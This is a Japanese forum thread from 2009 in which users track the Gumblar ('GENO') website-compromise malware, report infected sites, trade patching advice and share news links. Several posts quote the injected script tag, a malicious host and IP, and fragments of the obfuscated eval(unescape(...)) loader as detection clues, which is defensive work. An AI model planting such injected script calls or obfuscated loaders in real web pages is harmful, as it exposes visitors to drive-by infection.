activexの脆弱性を突くタイプでvista/firefoxじゃなかったら感染していたんだろうな
330:名無しさん＠お腹いっぱい。
09/09/30 12:58:01
萌えミシュラン感染してる
上記サイトのソースの中に
変なURLの記述がある
(.ruのロシアのサイト？)
改竄されたみたい。
管理人が気付いて
「当サイトのトップページが改竄されました」
っていう文章に内容が変わってるけど
それも改竄されて
また別のロシアのサイトのURLが…
331:名無しさん＠お腹いっぱい。
09/09/30 15:59:47
そのロシアのサイトのページは空
今のところ無害
332:名無しさん＠お腹いっぱい。
09/09/30 16:39:01
と思ったが何かうまくやって
空のページが表示されるときがあるのかもね
無害は取り消し
333:名無しさん＠お腹いっぱい。
09/09/30 23:52:30
>>330
Googleだと危険なサイトと表示されるね
URLﾘﾝｸ(www.google.com)
334:名無しさん＠お腹いっぱい。
09/10/01 01:22:48
>>330
行ったことがないサイトだけど報告ありがとう。
335:名無しさん＠お腹いっぱい。
09/10/01 08:27:01
今さっきGENOウィルスの存在を知った
片っ端から調べて、うちのＰＣもチェックしたが、感染してなかった
とりあえず
OS→Vista
ブラウザ→FireFox最新版
セキュリティ→ノートン2009
・Adobeリーダー＆フラッシュプレイヤーをアップデート
・Ｊａｖａスクリプトオフ
・Adobeリーダーのスクリプトもオフ
・今後しばらくネットは可能な限り携帯でカバーする予定
て感じなんだが、なんかまだまずいことある？
５月ごろまでの情報しか探せなかったんだよ…今現在でもこの対策で大丈夫なのか教えてくれ
これだけは調べきれなかったんだ、すまん
336:名無しさん＠お腹いっぱい。
09/10/01 09:14:35
Windows updateもしておけ
337:名無しさん＠お腹いっぱい。
09/10/01 09:44:15
>>336
サンクス
いまやってる
あとUACもオンに直しておいた
このウィルス自体は今はとりあえず全く動き(新種出たとか)はないと思っていいの？
338:名無しさん＠お腹いっぱい。
09/10/01 09:47:45
Vistaには無害
339:名無しさん＠お腹いっぱい。
09/10/01 09:53:10
>>338
あれ、俺が見たサイトにはご丁寧にVistaのチェック方法なんて載ってたんだが…
それはなぜなんだぜ？無害なら必要なくね？
純粋に疑問
340:名無しさん＠お腹いっぱい。
09/10/01 09:57:18
用心しろってことじゃね
無害だよ
GENO自体はもう見ないけど
似たような物もあるし用心はしておいた方が良いってことじゃね
341:名無しさん＠お腹いっぱい。
09/10/01 10:08:43
>>340
ありがとう
今ざっと調べてきたが、「今のところ無害だが油断はできない」みたいだな
ひとまず落ち着いてはきたんだな
これをいい機会に気をつけるわ
本当助かった
皆ありがとう
342:名無しさん＠お腹いっぱい。
09/10/02 01:10:52
初期にはvistaでもウィルスにかかってた人がいたからな。UACを切ってたせいで。
だからまぁ、vistaでもたまにはsqlsodbc.chmのファイルサイズが
50,727 バイトであることを確認しておくのも悪くない。
343:名無しさん＠お腹いっぱい。
09/10/02 01:16:51
それは嘘だろ
344:名無しさん＠お腹いっぱい。
09/10/02 01:24:12
vistaが安全かどうかに関係なく
GENOはVistaやServer2008は最初から除外してる
UACは無関係
感染は嘘
345:名無しさん＠お腹いっぱい。
09/10/02 17:38:58
UAC無効だとGENO”以外”での似たような構造を持ったウィルスの感染例はあるな
GENOそのものはXPを切り捨てるだけでOK
346:名無しさん＠お腹いっぱい。
09/10/02 22:42:50
>>338
嘘
UACをOFFしてあるならアウト
あちこちの初心者サイトでOFFにするおすすめが載っている現状で
その結論は危険
347:名無しさん＠お腹いっぱい。
09/10/02 22:44:59
何を言ってるんだ君は
348:名無しさん＠お腹いっぱい。
09/10/02 22:56:17
適当な糞アフィサイトに騙されとる
349:名無しさん＠お腹いっぱい。
09/10/02 23:04:19
なんか勘違いする人もいそうなので
>>346
Gumblarはたはgenoウイルス と呼ばれる物について話してる
これに関してはVistaは対象外ということ
Vistaが他の攻撃に安全と言ってるわけではない
350:名無しさん＠お腹いっぱい。
09/10/10 13:08:04
イラストサイトの
Pafe Cafe
URLﾘﾝｸ(red.sakura.ne.jp)
感染してた。(現在は対策済み)
Googleキャッシュにはもう残ってないが
百度のキャッシュには残ってた。
HTMLのソースコードはavastで
HTML:Illiframe-C [Trj]として反応
URLﾘﾝｸ(soul-of-man.ru:8080)
(IPアドレス:85.17.138.27)
に飛ばそうとしてたみたい。
萌えミシュランが感染した時も
いくつかのサイトに飛ばそうとしてたが、
その中に85.17.138.27もあったと記憶している
351:名無しさん＠お腹いっぱい。
09/10/10 21:24:17
>>350
脆弱性が使われてたの？
352:名無しさん＠お腹いっぱい。
09/10/11 22:48:16
>>351
上のサイト(.ruドメインの方)に
アクセスすれば
脆弱性を付く不正なPDFファイルとか
不正なフラッシュファイルとか
ダウンロード出来ると思う。
アクセスしたくないけど。
そういうサイトに無理矢理、強制で
誘導しようとしてた。
353:名無しさん＠お腹いっぱい。
09/10/12 06:23:50
>>352
恐ろしいな。
既存の脆弱性ならいいんだけどね。
354:名無しさん＠お腹いっぱい。
09/10/18 23:37:04
GENOウイルス感染したかも・・・。
ヤバイと思ってPC電源切っちゃったあと
起動しようとしてもPC再起動繰り返す
（多分ブルースクリーン）ようになったから
もう確認のしようがないけど。
何か勝手にアドビリーダー開いたり
謎のtmpファイルを勝手に開こうとしたり
コマンドプロンプトで一瞬何かやってたので
GENOウイルスで間違いないと思う。
どうやってデータ復旧しようか考え中。
355:名無しさん＠お腹いっぱい。
09/10/18 23:40:43
>>354
あらかじめ対策ってとってましたか？
もし、とってても感染したなら焦るのでよければ教えてケロ。
356:名無しさん＠お腹いっぱい。
09/10/18 23:47:25
>>355
GENOウイルスの存在自体知らなかったので対策はとってませんでした。
ただAdobeReaderとIEのFLASHは9月中に一回アップデートしていました。
しかし今回はOperaを使ってHP閲覧してて、
IEのFLASHはアップデートしててもOperaのFLASHは古いまま
だったのが敗因のようです。
357:名無しさん＠お腹いっぱい。
09/10/18 23:57:07
>>356
㌧
他スレでまた活動始めたなんて話も聞くので、
新たな対策が必要なのかな、と少し焦りました。
adobeは最近頻繁にうｐデートするから注意必要ですね。
データ復旧マンドクサだろうけど、がんばってケロ。
358:名無しさん＠お腹いっぱい。
09/10/19 00:02:53
>>356
Readerの最新は10月14日だからそれもアウトだね。
359:名無しさん＠お腹いっぱい。
09/10/19 00:13:19
他スレに貼ったやつだけど貼っとく
今回はMS09-043あたりもからんでるみたいだからMicrosoft Updateもしてね
対策
・MSUpdateをする
URLﾘﾝｸ(www.update.microsoft.com)
・Adobe Reader(Acrobat, Acrobat Reader)を使ってないならアンインストール
使ってる場合は9.2.0に更新
インストールの有無はプログラムの追加と削除から確認
DLサイト
URLﾘﾝｸ(get.adobe.com)
・Adobe Flash Playerの更新(動画サイト見てるなら絶対入ってる)
最新は10.0.32.18
確認はこれ
URLﾘﾝｸ(www.adobe.com)
DLサイト
URLﾘﾝｸ(get.adobe.com)
360:名無しさん＠お腹いっぱい。
09/10/19 00:16:01
Flash PlayerはIEとそれ以外で違うよってのも追記だな
361:名無しさん＠お腹いっぱい。
09/10/19 00:36:11
Adobe ReaderもAdobe Flash Playerも削除したよｵﾚ。
どうせ使わないし。
362:名無しさん＠お腹いっぱい。
09/10/19 02:01:29
2009.10.18 日曜日 (手抜き版)
URLﾘﾝｸ(www3.atword.jp)
Gumblar strikes back?
[EMERGENCY]
先日、さまれぼ！管理人様より警報を受け取っていたのですが、Gumblarに強いScanSafeも警報を発しました。
Gumblar Website Botnet Awakes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32
sqlsodbc.chm
という、悪夢のキーワードをもった Gumblar(GENO/zlkon/Martuz/JSRedir-R/Daonol)が、蠢動を再開した模様です。
現時点で使用されている脆弱性は
MS09-043 : Microsoft Office Web コンポーネントの脆弱性により、リモートでコードが実行される (957638)
という、９月に塞がれたものですが、それ以外にも脆弱性攻撃を仕掛けてくる可能性がありますので注意が必要です。
※マイクロソフト セキュリティ情報 MS09-043 - 緊急
URLﾘﾝｸ(www.microsoft.com)
363:354
09/10/19 02:59:26
お騒がせしました。
感染したHDDを他PCに取り付けてウイルスチェックしたところ、
GENOウイルスではなかったようです。
何らかのサイトを見たことによってAVCareというソフトが
インストールされてしまったようです。
（いかがわしいサイトではありません。遊戯王のCDについて
調べていたときに起きた出来事です。）
他にもトロイが2、3個検出されていましたが、
いずれもGENOウイルスとは関係ないようでした。
症状が似ていた理由は不明ですが、sqlsodbc.chmの
ファイルサイズが正常だったことから見ても
GENOウイルスの感染ではなかったようです。
しかし、HPを見るときに注意することに越したことは
ないみたいですね。もしかしたら似た仕組みで
インストールされたのかもしれないので・・・。
364:名無しさん＠お腹いっぱい。
09/10/19 03:23:48
>>363
最新版のGeno亜種は検出できるの少ないみたいだから無いとは言い切れないよ
つーかそんだけいろいろ感染してた状態ならOS入れなおしたほうがいい
365:名無しさん＠お腹いっぱい。
09/10/19 07:33:35
今回のはC:\になんとか.bakってのを常駐させるくさ
(ファイル名ランダム)。
366:名無しさん＠お腹いっぱい。
09/10/19 10:55:17
再襲来したGENOウイルスについて報告してるブログみつけた。
URLﾘﾝｸ(blogs.yahoo.co.jp)
URLﾘﾝｸ(blogs.yahoo.co.jp)
URLﾘﾝｸ(blogs.yahoo.co.jp)
zlkon/gumblar/martuzは単一ホストでウイルスを撒いてたけど、
今度のスクリプトだと陥落した別サイトで撒いてるから、
従来のチェッカーじゃ判別できないな。
367:名無しさん＠お腹いっぱい。
09/10/19 13:03:32
糞通販ショップGeno ウイルス再び
ｽﾚﾘﾝｸ(news板)
368:名無しさん＠お腹いっぱい。
09/10/19 13:09:47
今回もAvastはスクリプトを検知出来るようだ。
369:名無しさん＠お腹いっぱい。
09/10/19 13:27:45
>>368
いくつかパターンがあるみたいだけどそのうち１つは反応した
もう1つはスルー
他はわからん
370:名無しさん＠お腹いっぱい。
09/10/19 13:45:01
>>366
チェッカーは知らんけど挿入位置は同じっぽいな
371:名無しさん＠お腹いっぱい。
09/10/19 14:10:55
もう少し詳しく挙動を解説したブログ
URLﾘﾝｸ(ilion.blog47.fc2.com)
ウイルスをホスティングしてる改竄サイトが無数にあるわけだ。
もぐら叩きだな、これじゃ・・・
372:名無しさん＠お腹いっぱい。
09/10/19 14:16:15
感染してるサイトのurlをチェッカーに突っ込んでみたが、危険度0.5％
でスルーされた。
373:名無しさん＠お腹いっぱい。
09/10/19 14:18:24
あんなの誰も使ってないだろ
374:名無しさん＠お腹いっぱい。
09/10/19 15:11:31
今回のはだめだ…HTMLソースにこれあったら確実にアウト、みたいなルールが作れねぇ。
375:名無しさん＠お腹いっぱい。
09/10/19 15:38:50
何したいんだかわからんけど>>366見た感じこれでよくね
.php ></script><body>
PHPファイルも見れるならこんな行があるか見るとか
eval(unescapse(*.replace(/[*]/g,*)));
だいたいこんなパターンでそ
//<script>
try{if(hoge='適当な文字')throw new TypeError('');}catch(){}
moge='難読化コード';
eval(unescapse(hoge.replace(/[huga]/g,hoge)));
ここに何かあるときもある
//</script>
376:名無しさん＠お腹いっぱい。
09/10/19 15:40:18
.php ></script><body>
これじゃ有害とは断定できねーべ
踏み台側のを拾いに行くのも正直めんどい
377:名無しさん＠お腹いっぱい。
09/10/19 16:08:02
何したいのかわからん
誤爆率そこまで高くないと思う
まったくないわけじゃないだろうけど
ローカルでやるには気にするほどではないレベル
378:名無しさん＠お腹いっぱい。
09/10/19 20:22:44
URLﾘﾝｸ(www.ripping.org)
某スレでこのスレが紹介されていたので来ました
上記サイトなんですが、検索エンジン（google)の結果の地点で警告が出るのですが
サイト上に何か仕込まれているんでしょうか？
一見、何の変哲もないPC関係のサイトのように見えますがブラウザレベルでもブロックをくらうようです
379:名無しさん＠お腹いっぱい。
09/10/19 20:51:24
「今は」特に何もないけど。
380:名無しさん＠お腹いっぱい。
09/10/19 20:57:50
>>378
URLﾘﾝｸ(safebrowsing.clients.google.com)
疑わしいサイトとして認識されています。
このウェブサイトにアクセスするとコンピュータに損害を与える可能性があります。
不正なソフトウェアは t-age●ru/ を含む 1 個のドメインでホストされています。
この結果を使用しているFirefox、Chromeで見るとアウト判定になる
いまは見た感じなさそうだけど、攻撃スクリプトを誰が削除したのかわからないから
うかつに見ないほうが良いだろうね
381:名無しさん＠お腹いっぱい。
09/10/19 21:22:30
>>379,>>380
大変参考になります
有難う御座いました
382:名無しさん＠お腹いっぱい。
09/10/20 14:59:19
セキュリティホールmemo
URLﾘﾝｸ(www.st.ryukoku.ac.jp)
リンクだけだけど、大御所来た。これでボンクラ鯖管も注意を払うといいが…
383:名無しさん＠お腹いっぱい。
09/10/20 22:39:31
>>382
おっかないから
「aguseゲートウェイ(代理読み込み)」
URLﾘﾝｸ(gw.aguse.jp)
を使って見てきた俺ガイル orz
384:名無しさん＠お腹いっぱい。
09/10/21 01:16:42
>>383
石橋を叩いて人に渡らせる行為をなにも恥じることはあるまい。
385:名無しさん＠お腹いっぱい。
09/10/21 03:43:01
334 名前：GENO 投稿日：2009/10/20(火) 17:13:09 ID:pXNvHr1I0
ここ見てあちこちGENOスレ回ってきたら
> 感染したまま放置されてたサイトや、
> 対策が不十分だったサイトを見たら、さっそく変なスクリプト発見・・・
マジすか・・・
335 名前：GENO 投稿日：2009/10/20(火) 17:24:34 ID:mGYwobiA0
>>334
マジです。
たとえばGenoVirus感染サイトリストに出てる「対策済み」サイトの中にも、
再感染してるのがある。
もっと言えば、告知なしで再開してるサイトの一部。
告知なしで再開して、再感染したところは、
管理者が根本的な対策（OSの再インストール→サイトの復旧）を
やってなかった（自分のPCの感染に気づいていない）んでしょう。。。
386:名無しさん＠お腹いっぱい。
09/10/21 12:41:35
URLﾘﾝｸ(www.weekenddream.jp)
ＪＲＡレーシングビュアーでサイト改ざん ウイルス感染の疑い（2009.10.21）
株式会社中央競馬ピーアール・センターは２０日（火）、
ＪＲＡレーシングビュアーの一部ページが一時改ざんされ、
改ざんされた期間中にサイトを閲覧した会員が
ウイルスに感染した疑いがあると発表した。
サイト改ざんされた疑いのある期間は
１５日（木）１８時から２０日（火）１３時までの間。
この期間中に悪意のあるコードがサイト内に埋め込まれ、
サイトを閲覧すると
"Gumblar"または"JSRedir-R"
（通称「GENOウイルス」とも呼ばれる）
に感染する可能性が生じたとのこと。
サーバー管理会社に調査依頼の上、
現在はこの悪意のあるコードはすべて除去され、
ウイルス感染の心配はないとのこと。
またこのサイト改ざんによる
個人情報の流出はないとのこと。
387:名無しさん＠お腹いっぱい。
09/10/21 21:36:08
なぜこういうのをAdobeが作らないのか…。
Adobeの“Flash”と“Reader”のアップデートを半自動化「Flash_Reader_Update」
URLﾘﾝｸ(www.forest.impress.co.jp)
388:名無しさん＠お腹いっぱい。
09/10/21 22:02:37
>>386
レーシングビュアーは会員向けの有料サービスなのか
ホームページには普通にアクセスしてたからビビったけど
とりあえず害は及ばずといったところか
しかしＪＲＡがGENOウイルスとハッキリ認識しているとは
GENOの知名度って想像以上に高いなあ
389:名無しさん＠お腹いっぱい。
09/10/22 00:07:15
>>387
これはいい
390:名無しさん＠お腹いっぱい。
09/10/22 10:14:21
おれ素人だけどGENO見終わって閉じようとしたら何回やってもだめで
怖くなって電源切った。これだったのかウィルスソフトはいれてますが。
391:名無しさん＠お腹いっぱい。
09/10/22 10:20:43
何の責任も負わない個人が作ったものだし、
作者がその気になれば偽物をDLさせられて泣きを見るだけだろ。
392:名無しさん＠お腹いっぱい。
09/10/22 10:36:26
>>391は>>387に対してのものか
だからこそ
＞なぜこういうのをAdobeが作らないのか…。
個人ではないベンダーに期待を寄せるような
コメントが書き添えられているのではないか
393:名無しさん＠お腹いっぱい。
09/10/22 11:07:29
なぜも何も自動でアップデートするようになってるだろ
394:名無しさん＠お腹いっぱい。
09/10/22 12:59:55
えっ
395:名無しさん＠お腹いっぱい。
09/10/22 13:43:23
Genoウイルス(Gumblar)検出状況
URLﾘﾝｸ(slashdot.jp)
このphpファイルは見に行くたびに変わりますが、
カスペルスキーさんはまるで「おれにまかせろ」状態。かっこいい。
396:名無しさん＠お腹いっぱい。
09/10/22 16:36:03
>>390
ウイルスはいれちゃだめよ
397:名無しさん＠お腹いっぱい。
09/10/22 16:43:00
>>394
えっじゃねえよ
頭使えよ
398:名無しさん＠お腹いっぱい。
09/10/22 17:54:51
頭使うもなにも
自動でアップデートとか初耳なんだが
設定しだいで出来るってことなのか？
399:名無しさん＠お腹いっぱい。
09/10/22 18:24:49
正確にはアップデート確認か
求めてることは同じだろ
400:名無しさん＠お腹いっぱい。
09/10/22 18:32:16
Flashはアップデートの確認
Readerはアップデートまで自動でやってくれるね
401:名無しさん＠お腹いっぱい。
09/10/22 19:00:56
そんなに自動が好きなのか
402:名無しさん＠お腹いっぱい。
09/10/22 19:06:22
何を言ってるんだ君は
403:名無しさん＠お腹いっぱい。
09/10/22 19:24:01
Readerはたしか環境設定のアップデータの項目に
自動にするしないの選択項目があってわかりやすいよ
ただしこれは最新版の場合ね
それより前のバージョンだと、環境から一般いってそこに
アップデートについての選択項目があったと思う
404:名無しさん＠お腹いっぱい。
09/10/22 20:46:41
>>386
しかしＪＲＡが感染してたのに騒ぎにもならないとは
もう、みんな対策を済ませてたのか
そんなはずはないな
GENOウイルス自体に、もう関心がなくなってるのか
405:名無しさん＠お腹いっぱい。
09/10/22 20:51:40
前回の時も全然ニュースにならなかったよ。
分かり難い害だから話題にしにくいんじゃない？
406:名無しさん＠お腹いっぱい。
09/10/22 20:56:08
”みんな”はウイルス自体に関心がないからな・・・
認知されるのはいつも通り被害が十分に行き渡ってからだろ
407:名無しさん＠お腹いっぱい。
09/10/22 20:57:22
ヤフーに乗ったのもずいぶんたってからだったしな
408:名無しさん＠お腹いっぱい。
09/10/22 21:24:11
ひきこもり共和国という交流サイトがやられた模様。
ｽﾚﾘﾝｸ(hikky板:827-番)
409:名無しさん＠お腹いっぱい。
09/10/22 23:05:01
>>404
馬券買ってるおっさん世代はウイルスなんて知らんのじゃないか？
410:名無しさん＠お腹いっぱい。
09/10/22 23:29:17
馬券買うってことは金銭とか扱うだろうしJRA早いとこ対策しないとまずいんじゃ
411:名無しさん＠お腹いっぱい。
09/10/23 16:38:02
JRAまじかよーorz
ノンスクリプト許容してるサイトなのにorz
412:名無しさん＠お腹いっぱい。
09/10/23 16:41:02
こんなとこ来るような人なら実害ないだろ
413:名無しさん＠お腹いっぱい。
09/10/23 16:55:48
>>411
JRA確認してないんでわからんけど、通常であれば
外部ドメインにしこまれてたはずだよ
全許可ならダメだけど見知らぬドメインは許可されてなかったんじゃないかな
414:名無しさん＠お腹いっぱい。
09/10/23 17:06:08
OSがvista以降なら問題ない
415:名無しさん＠お腹いっぱい。
09/10/23 17:11:43
ガンブラさんは今月で3つも確認
いずれも個人サイト
416:名無しさん＠お腹いっぱい。
09/10/23 17:44:54
JRAの潔い態度に感動したです
GENOも、これくらい堂々としてたら…
417:名無しさん＠お腹いっぱい。
09/10/24 02:41:16
【セキュリティ】「GENO」に酷似したウイルスが流行の兆し、国内60サイトで感染確認（09/10/23）
ｽﾚﾘﾝｸ(pcnews板)
GENOウイルスに類似したあらたな攻撃が発生
ｽﾚﾘﾝｸ(news板)
418:名無しさん＠お腹いっぱい。
09/10/24 15:26:49
419:名無しさん＠お腹いっぱい。
09/10/24 18:15:02
ここに出入りしているのは、ちゃんとupdateしているような奴ばかりだから情報が集まらないな。
もっとレベルの低いところじゃないと。。
420:名無しさん＠お腹いっぱい。
09/10/24 18:37:25
Gumblar類似のDaonolが広がってるみたい
全国でPCが起動しなくなるトラブルが多発。PC初心者の多い富士通サポセンがパンク状態
ｽﾚﾘﾝｸ(news板)
黒い画面にマウスカーソル (Win32/Daonol)
URLﾘﾝｸ(blogs.technet.com)
421:名無しさん＠お腹いっぱい。
09/10/24 18:41:03
>>420 DaonolとGumbarの因果関係は現時点では不明というか
憶測の域じゃないのか
422:名無しさん＠お腹いっぱい。
09/10/24 18:57:23
>>421
ウイルス名は各ベンダーが好き勝手に付けてるから。Daonol=Gumblar。
URLﾘﾝｸ(internet.watch.impress.co.jp)
>なお、このウイルスは「Gumblar」という名称以外にも、
>Symantecでは「Infostealer.Daonol」、
>マイクロソフトでは「Win32/Daonol.F」、
>Kasperskyでは「Trojan-Dropper.Win32.Agent.apfn」といった名称が付けられている。
423:名無しさん＠お腹いっぱい。
09/10/24 19:07:51
>>422 サンクス。ようやくわかった。
ていうか大昔にウイルスの名前をベンダー間で統一しようって言ってたんじゃないのかよ。。
424:まとめ
09/10/24 19:51:00
Genoウイルス(Gumblar)再び
URLﾘﾝｸ(slashdot.jp)
■「Gumblar」酷似ウイルスが流行の兆し、国内60サイトで感染確認
URLﾘﾝｸ(internet.watch.impress.co.jp)
黒い画面にマウスカーソル (Win32/Daonol)
URLﾘﾝｸ(blogs.technet.com)
ＪＲＡレーシングビュアーでサイト改ざん ウイルス感染の疑い（2009.10.21）
URLﾘﾝｸ(www.weekenddream.jp)
「Gumblar」の脅威再び―Kaspersky が警告
URLﾘﾝｸ(japan.internet.com)
Gumblar に酷似、新たな脅威発生に警告
URLﾘﾝｸ(www.kaspersky.co.jp)
ウイルス・セキュリティ情報 | dynabook.com サポート情報
コンピュータウイルス「Torojan.Win32/Daonol.H」について
URLﾘﾝｸ(dynabook.com)
コンピュータウイルス「Win32/Daonol」に関するご注意
URLﾘﾝｸ(supportapj.dell.com)
425:名無しさん＠お腹いっぱい。
09/10/24 23:47:55
URLﾘﾝｸ(cycle-world.jp)
ここも？
426:名無しさん＠お腹いっぱい。
09/10/24 23:52:36
>>425
ぽいね
427:名無しさん＠お腹いっぱい。
09/10/24 23:52:59
>>425
やられてるね
あと、URLを書くときは“.”を“●”などに置き換えて
428:名無しさん＠お腹いっぱい。
09/10/24 23:58:21
スタッフブログの方は無事っぽ
普通に毎日更新で見てるっぽいし教えるべきかな？
429:名無しさん＠お腹いっぱい。
09/10/25 00:00:25
がっつり逝ってる
ワロス
430:名無しさん＠お腹いっぱい。
09/10/25 00:09:23
何のサイト？
さすがに踏みたくない
431:名無しさん＠お腹いっぱい。
09/10/25 00:11:26
西日本最大級オートバイ用品専門店らすぃ
432:名無しさん＠お腹いっぱい。
09/10/25 00:13:13
>>431
ありがとう
433:名無しさん＠お腹いっぱい。
09/10/25 00:14:39
<script src=*****mages/index.php ></script>
の部分がそうか？
繋がんないけど
434:名無しさん＠お腹いっぱい。
09/10/25 00:16:44
サイトも店の色も派手なツートンなんでドンパチよろしいんじゃないんでしょーか
435:名無しさん＠お腹いっぱい。
09/10/25 00:20:14
>>433
スクリプトだけ書いてあるページに飛ばされるっぽいが…
ソースチェッカーで見たのでレイアウトは知らん
スタッフブログ※欄に凸っていいのか？
だが何を書いたらいいのかよくわからんので
詳しい人がやってくれるならお願いしたいが
436:名無しさん＠お腹いっぱい。
09/10/25 00:21:34
>>433
接続2回目は拒否られるよね
調べ回避の手段っぽいわ
437:名無しさん＠お腹いっぱい。
09/10/25 00:25:36
やっぱVistaだと無効なんだな
もちろん7もだろうけど
438:名無しさん＠お腹いっぱい。
09/10/25 00:33:03
>>428
24日土曜も更新してるね
余裕っすね
439:名無しさん＠お腹いっぱい。
09/10/25 00:33:47
これはXPから7へ移行させようとするマイクロソフトの陰謀だったんだよ！！
440:名無しさん＠お腹いっぱい。
09/10/25 00:34:56
ΩΩΩ＜な（ｒｙ
まぁ実際問題7がびす太ほどアレじゃなければ乗り換えようかと思ってるがな
441:名無しさん＠お腹いっぱい。
09/10/25 00:37:41
vistaでもUAC切ってたらマズイんだよな？
やかましいから切ってるけど
442:名無しさん＠お腹いっぱい。
09/10/25 00:39:48
スタッフ写真無くて（´・ω・） ﾂﾏﾝﾅｽ
443:名無しさん＠お腹いっぱい。
09/10/25 00:45:37
>>441
この件に関してはUACは関係ない
もちろん有効にしておいた方がより安全だが
444:名無しさん＠お腹いっぱい。
09/10/25 01:45:52
結局だれも教えに行ってないのかﾊﾞﾛｽ
445:名無しさん＠お腹いっぱい。
09/10/25 01:52:26
管理者様
急啓
ていへんだぁていへんだぁ
おたくのサイトがていへんだぁ
顧客に毒盛り、ていへんへんだぁ
かしこ
ＦＡＸ番号わかったけど（´・ω・） ﾂﾏﾝﾅｽ
446:名無しさん＠お腹いっぱい。
09/10/25 02:08:07
ググるとHPのタイトル部分にスクリプトを埋め込まれたのがいっぱいヒットするな、もう無差別攻撃か・・・
447:名無しさん＠お腹いっぱい。
09/10/25 02:08:34
URLﾘﾝｸ(p-frying)●com/
ここも感染してる
ていうか前のGENO騒ぎの時から感染してるっぽい
448:名無しさん＠お腹いっぱい。
09/10/25 02:10:06
.は●に変えたがh抜き忘れたorz
449:名無しさん＠お腹いっぱい。
09/10/25 02:12:11
この攻撃ってAdobeが脆弱性発表したらすぐに蔓延したんだよな
発表しなかったらこんなことにならなかったかもな
まあそう言うわけにもいかないのかも知れないが
450:名無しさん＠お腹いっぱい。
09/10/25 02:29:19
>>446
なにでググってる？
martuzあたり？
451:名無しさん＠お腹いっぱい。
09/10/25 02:44:05
木造で中古だと利回りがきつそうで（´・ω・） ｶﾜｲｿｽ
452:名無しさん＠お腹いっぱい。
09/10/25 10:31:32
Avast!のWebシールドが最近の*.phpにも反応するようになった
453:名無しさん＠お腹いっぱい。
09/10/25 11:29:45
糞チェッカー
バージョン指定書きで後で後悔するといったのにねえ
さすがアフィ厨
454:名無しさん＠お腹いっぱい。
09/10/25 13:25:50
>>425-427
＜script src=hxxp://fotothhi．be/images/index．php ＞＜/script＞
．phpの中身
／／＜script＞
dLLdw=24;if（unescape）dLLdw='';jYCXE=unescape（'%'+dLLdw）;
～中(難読化されてたから)略～
eval（unescape（i0j.replace（／[IlN]／g,jYCXE）））;
／／＜/script＞